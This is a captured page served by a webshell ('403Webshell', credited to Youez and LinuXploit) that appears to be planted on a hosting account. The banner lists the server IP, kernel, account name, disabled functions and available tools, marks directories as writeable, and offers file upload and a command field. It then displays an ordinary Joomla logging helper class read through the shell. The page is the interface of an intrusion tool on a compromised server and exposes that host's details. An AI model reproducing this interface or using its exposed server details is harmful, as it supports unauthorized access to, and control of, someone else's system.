403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : bsiadvisil ( 110003)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bsiadvisil/www/libraries/msframework/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bsiadvisil/www/libraries/msframework/helpers/log.php
<?php
/**
 * MS Framework
 *
 * @package    	MS Framework Library
 * @version 	1.2.1.573
 *
 * @author 		Michael Snoeren
 * @link 		https://snoerendevelopment.nl/
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

// Deny direct access
defined('_JEXEC') or die;

abstract class MSFrameworkLog
{
	/**
	 * Data
	 * @var 	Mixed
	 * @access 	Protected
	 */
	protected static $current 	= '';

	/**
	 * Register the software
	 * @param 	String 	$title 	The Joomla! internal title (com_...)
	 * @access 	Public
	 * @return 	Boolean
	 */
	public static function register($title)
	{
		if (!is_string($title) || empty($title)) {
			return false;
		}

		JLog::addLogger(
			array('text_file' => $title . '.php'),
			JLog::ALL,
			array($title)
		);

		self::setCurrent($title);

		return true;
	}

	/**
	 * Set the current extension
	 * @param 	String 	$title 	The current extension to log to
	 * @access 	Public
	 * @return 	Boolean
	 */
	public static function setCurrent($title)
	{
		if (!is_string($title) || empty($title)) {
			return false;
		}

		self::$current 			= $title;
		return true;
	}

	/**
	 * Log to a specific log
	 * @param 	String 	$msg 	The message to log. Translatable
	 * @param 	Integer $level 	The JLog level. Default: INFO
	 * @param 	String 	$ext 	The extension to log to. Default: current
	 * @access 	Public
	 * @return 	Boolean
	 */
	public static function add($msg, $level = null, $ext = null)
	{
		if (!is_string($msg) || empty($msg)) {
			return false;
		}

		// Set defaults
		if (is_null($level)) {
			$level 				= JLog::INFO;
		}
		if (is_null($ext)) {
			$ext 				= self::$current;
		}

		JLog::add(JText::_($msg), $level, $ext);
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit